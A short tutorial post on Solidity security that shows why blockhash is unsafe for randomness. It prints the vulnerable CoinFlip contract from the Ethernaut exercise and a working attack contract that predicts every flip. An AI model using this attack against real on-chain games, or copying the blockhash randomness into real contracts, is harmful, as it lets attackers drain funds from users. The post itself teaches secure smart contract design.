Don't use Blockhash as a source of randomness
Overview
Random is important in blockchain games. However, there is no true random number on solidity. The best practice is to use Chainlink VRF. This article will show you how to attack a CoinFlip contract.
The following code is the CoinFlip contract, which was rewritten from Ethernaut.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract CoinFlip {
5
6 uint256 public consecutiveWins;
7 uint256 lastHash;
8 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
9
10 constructor() {
11 consecutiveWins = 0;
12 }
13
14 function flip(bool _guess) public returns (bool) {
15 uint256 blockValue = uint256(blockhash(block.number - 1));
16
17 if (lastHash == blockValue) {
18 revert("can not flip in same block twice");
19 }
20
21 lastHash = blockValue;
22 uint256 coinFlip = blockValue / FACTOR;
23 bool side = coinFlip == 1 ? true : false;
24
25 if (side == _guess) {
26 consecutiveWins++;
27 return true;
28 } else {
29 consecutiveWins = 0;
30 return false;
31 }
32 }
33}
In the flip function, we try to implement randomness via blockhash()
. We get to the previous block hash by passing the block.number - 1
as the parameter. The block hash is a random uint256, then divided by the FACTOR. The FACTOR is two to the power of 255, power(2, 255). The flip side is true if the block hash is larger than the FACTOR.
It seems pretty solid, right?
The block hash is a random uint256, but it is already deterministic. Each time will call the blockhash() function with the same parameter, and we will get the same value.
So we can write another contract to ATTACK the CoinFlip contract.
The process is straightforward.
We calculate the block hash and the side of coin, then call the CoinFlip's flip() function.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4
5interface ICoinFlip {
6 function flip(bool _guess) external returns (bool);
7}
8
9
10contract CoinFlipAttack {
11 address coinFlipAddress;
12 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
13 constructor(address _coinFlipAddress) {
14 coinFlipAddress = _coinFlipAddress;
15 }
16
17 function attack() public {
18 uint256 blockValue = uint256(blockhash(block.number - 1));
19 uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
20 bool guess = coinFlip == 1 ? true : false;
21 ICoinFlip(coinFlipAddress).flip(guess);
22 }
23}
Now, We can 100% win this RANDOM game!